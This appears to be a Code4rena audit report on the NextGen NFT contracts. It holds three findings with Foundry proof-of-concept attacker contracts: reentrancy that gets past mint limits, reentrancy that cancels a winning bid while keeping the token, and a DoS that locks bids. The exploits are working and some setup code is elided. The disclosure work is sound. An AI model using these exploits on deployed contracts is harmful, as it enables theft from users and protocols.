NextGen - 0x180db's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L231 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L224

Vulnerability details

Impact

The attacker has the possibility to make multiple calls to the mint function. To achieve this, they need to use a contract that implements the IERC721Receiver interface. This is possible because the _safeMint function checks if the recipient contract can receive tokens by calling the onERC721Received function. At the same time, the attacker can call the mint function again. This behavior allows them to bypass the check for exceeding the minting limit per address and mint any number of tokens.

Proof of Concept

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import { Test, console2 } from "forge-std/Test.sol";

import { auctionDemo } from "../smart-contracts/AuctionDemo.sol";
import { IERC721 } from "../smart-contracts/IERC721.sol";

contract AttackReceiver {
    bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;

    NextGenCore public core;
    NextGenMinterContract public minter;

    uint256 public collectionIndex;
    uint256 public mintLimit;
    
    bytes32[] private merkleProof = new bytes32[](1);

    constructor(
        address _core,
        address _minter,
        uint256 _collectionIndex
    ) {
        core = NextGenCore(_core);
        minter = NextGenMinterContract(_minter);
        collectionIndex = _collectionIndex;
        merkleProof[0] = "0x";
    }

    function attack(uint256 _mintLimit) public {
        mintLimit = _mintLimit;
        uint256 price = minter.getPrice(collectionIndex);

        minter.mint{value: price}(
            collectionIndex, // _collectionID
            1, // _numberOfTokens
            0, // _maxAllowance
            '{"tdh": "100"}', // _tokenData
            address(this), // _mintTo
            merkleProof, // _merkleRoot
            address(this), // _delegator
            1 //_varg0
        );
    } 

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes memory data
    ) public returns (bytes4) {
        uint256 minted = IERC721(core).balanceOf(address(this));
        
        uint256 price = minter.getPrice(collectionIndex);
        if (minted < mintLimit) {
            minter.mint{value: price}(
                collectionIndex, // _collectionID
                1, // _numberOfTokens
                0, // _maxAllowance
                '{"tdh": "100"}', // _tokenData
                address(this), // _mintTo
                merkleProof, // _merkleRoot
                address(this), // _delegator
                2 //_varg0
            );
        }

        return _ERC721_RECEIVED;
    }
}

contract AuditTest is Test {
    function setUp() public {
        // ...
    }
    
    function test_poc_AttackReceiver() public {
        bytes32[] memory merkleProof = new bytes32[](1);
        merkleProof[0] = "0x";
        
        uint256 collectionIndex = _createPublicCollection(); 
        uint256 price = minter.getPrice(collectionIndex);

        // The target of the attack is the total supply
        (,,,uint256 totalSupply,,) = core.retrieveCollectionAdditionalData(
            collectionIndex
        );
        
        // The receiver of tokens is the attacker contract  
        AttackReceiver receiverContract = new AttackReceiver(
            address(core),
            address(minter),
            collectionIndex
        );

        // Deposit eth for the attack
        vm.deal(address(receiverContract), 100 ether);
       
        receiverContract.attack(totalSupply);

        assertEq(
            IERC721(core).balanceOf(address(receiverContract)),
            totalSupply
        );
    }

    function _createPublicCollection() private returns(uint256) {
        // ...
        core.setCollectionData(
            collectionIndex,
            artist,
            1, // _maxCollectionPurchases 
            5, // _collectionTotalSupply
            0
        );
        // ...
    }
}

Tools Used

forge test

Recommended Mitigation Steps

Consider using the ReentrancyGuard contract by OpenZeppelin or another similar contract

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L112

Vulnerability details

Impact

When using the safeTransferFrom function of the OpenZeppelin implementation of the ERC721 standard, the contract checks whether the recipient implements the IERC721Receiver interface before transferring a token to them. The contract calls onERC721Received for the recipient. An attacker can exploit this behavior to cancel their own bid during the reward claim process, returning both their bid and the token.

Here's how the attack can occur:

1. This attack can occur when multiple auctions are taking place simultaneously.
2. During the last block of the auction, the attacker takes advantage of the vulnerability.
3. The attacker increases the highest bid and becomes the winner of the auction under attack.
4. The attacker calls the function to claim the token.
5. During the recipient check, the attacker cancels their own bid, resulting in a refund of their funds.
6. The attacker then successfully acquires the token.

Please note that this vulnerability remains exploitable even after the M-01 fix. If the M-01 fix is not applied, the first step is not necessary.

Proof of Concept

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import { Test, console2 } from "forge-std/Test.sol";

import { auctionDemo } from "../smart-contracts/AuctionDemo.sol";
import { IERC721 } from "../smart-contracts/IERC721.sol";

contract AuctionAttacker {
    bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
    auctionDemo public auction;
    uint256 public tokenId;

    constructor(address _auction) {
        auction = auctionDemo(_auction);
    }
    
    function attack(uint256 _tokenId) public {
        uint256 highestBid = auction.returnHighestBid(_tokenId);
        auction.participateToAuction{value: highestBid + 1}(_tokenId);
        auction.claimAuction(_tokenId);
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes memory data
    ) public returns (bytes4) {
        // 0 - bid of bidder2
        // 1 - bid of the attacker contract  
        auction.cancelBid(tokenId, 1);
        return _ERC721_RECEIVED;
    }

    fallback() external payable {}
}

contract AuditTest is Test {
    auctionDemo public auction;
    
    function setUp() public {
        auction = new auctionDemo(
            address(minter),
            address(core),
            address(admins)
        );
        // ...
    }
    
    function test_poc() public {
        address bidder1 = makeAddr("bidder1");
        address bidder2 = makeAddr("bidder2");

        vm.deal(bidder1, 100 ether);
        vm.deal(bidder2, 100 ether);

        // Two auctions take place simultaneously
        uint256 firstCollection = _createAuctionCollection();
        uint256 secondCollection = _createAuctionCollection();

        // Deploy attacker contract and deposit 10 ether
        AuctionAttacker attackerContract = new AuctionAttacker(address(auction));
        vm.deal(address(attackerContract), 10 ether);
   
        minter.mintAndAuction(
            address(receiver),
            '{"tdh": "100"}',
            0,
            firstCollection,
            block.timestamp
        );
        uint256 firstTokenId = 10000000000;

        minter.mintAndAuction(
            address(receiver),
            '{"tdh": "100"}', // _tokenData
            0,
            secondCollection,
            block.timestamp
        );

        uint256 secondTokenId = 20000000000;

        // The spec of the protocol does not contain information about the receiver 
        // since the auction contract cannot receive tokens
        // for claiming, the receiver must approve the tokens to the auction address
        vm.startPrank(receiver);
        IERC721(core).approve(address(auction), firstTokenId);
        IERC721(core).approve(address(auction), secondTokenId);
        vm.stopPrank();
        
        // Auction contract balance is 3 ether
        vm.prank(bidder1);
        auction.participateToAuction{value: 3 ether}(firstTokenId);
        
        // Auction contract balance is 5 ether
        vm.prank(bidder2);
        auction.participateToAuction{value: 2 ether}(secondTokenId);
       
        // Attack the second auction
        attackerContract.attack(secondTokenId);
        
        // Attacker has an initial balance
        assertEq(address(attackerContract).balance, 10 ether);
        // And token
        assertEq(
            IERC721(core).ownerOf(secondTokenId),
            address(attackerContract)
        );

        vm.prank(bidder1);
        auction.claimAuction(firstTokenId);

        // Initial funds - bid
        assertEq(bidder1.balance, 100 ether - 3 ether);
        assertEq(
            IERC721(core).ownerOf(firstTokenId),
            address(bidder1)
        );
    }
    
    function _createAuctionCollection() private returns (uint256) {
        // ...
    }
}

Tools Used

forge test

Recommended Mitigation Steps

One possible solution is to check whether auctionClaim[_tokenid] equals false

Replace L126:

require(auctionInfoData[_tokenid][index].bidder == msg.sender && auctionInfoData[_tokenid][index].status == true);

With:

require(auctionInfoData[_tokenid][index].bidder == msg.sender &&
        auctionInfoData[_tokenid][index].status == true &&
        auctionClaim[_tokenid] == false, "impossible to cancel");

And replace L137:

if (auctionInfoData[_tokenid][i].bidder == msg.sender && auctionInfoData[_tokenid][i].status == true) {

With:

if (auctionInfoData[_tokenid][i].bidder == msg.sender && auctionInfoData[_tokenid][i].status == true && auctionClaim[_tokenid] == false) {

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L112

Vulnerability details

Impact

Bids from a contract with an invalid ERC721Receiver implementation are permanently locked within the contract, obstructing normal auction flows and creating a financial risk for users.

Please note that if H-01 is not fixed, this will lead to the blocking of all bids in the auction!

Proof of Concept

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import { Test, console2 } from "forge-std/Test.sol";

import { auctionDemo } from "../smart-contracts/AuctionDemo.sol";
import { IERC721 } from "../smart-contracts/IERC721.sol";

contract InvalidERC721Receiver {
    auctionDemo public auction;

    constructor(address _auction) {
        auction = auctionDemo(_auction);
    }

    function bid(uint256 _tokenId) public {
        uint256 highestBid = auction.returnHighestBid(_tokenId);
        auction.participateToAuction{value: highestBid + 1 ether}(_tokenId);
    }

    function claim(uint256 _tokenId) public {
        auction.claimAuction(_tokenId);
    }

    function cancel(uint256 _tokenId) public {
        auction.cancelBid(_tokenId, 0);
    }
}


contract AuditTest is Test {
    auctionDemo public auction;

    function setUp() public {
        auction = new auctionDemo(
            address(minter),
            address(core),
            address(admins)
        );
        // ...
    function test_poc() public {
        // Deploy an incorrect receiver contract and deposit 10 ether
        InvalidERC721Receiver receiverContract = new InvalidERC721Receiver(
            address(auction)
        );

        vm.deal(address(receiverContract), 10 ether);
        
        uint256 auctionCollection = _createAuctionCollection();

        minter.mintAndAuction(
            address(receiver),
            '{"tdh": "100"}',
            0,
            auctionCollection,
            block.timestamp
        );

        uint256 tokenId = 10000000000;

        // The protocol specification doesn't provide information about the receiver.
        // Since the auction contract cannot receive tokens,
        // the receiver must approve the tokens for transfer to the auction address.
        vm.prank(receiver);
        IERC721(core).approve(address(auction), tokenId);

        // Place a bid
        receiverContract.bid(tokenId);

        // Complete the auction
        vm.warp(block.timestamp + 10 seconds);
 
        // Attempting to claim will revert with this error message
        vm.expectRevert(bytes("ERC721: transfer to non ERC721Receiver implementer"));
        receiverContract.claim(tokenId);

        // Attempting to cancel will revert with this error message
        vm.expectRevert(bytes("Auction ended"));
        receiverContract.cancel(tokenId);
    }

    function _createAuctionCollection() private returns (uint256) {
        // ...
    }
}

Tools Used

forge test

Recommended Mitigation Steps

Consider the possibility of validating the implementation of ERC721Receiver during the betting process in the participateToAuction function. However, please keep in mind that you need to fix H-01 first; otherwise, the possibility of a DOS attack remains.

Assessed type

DoS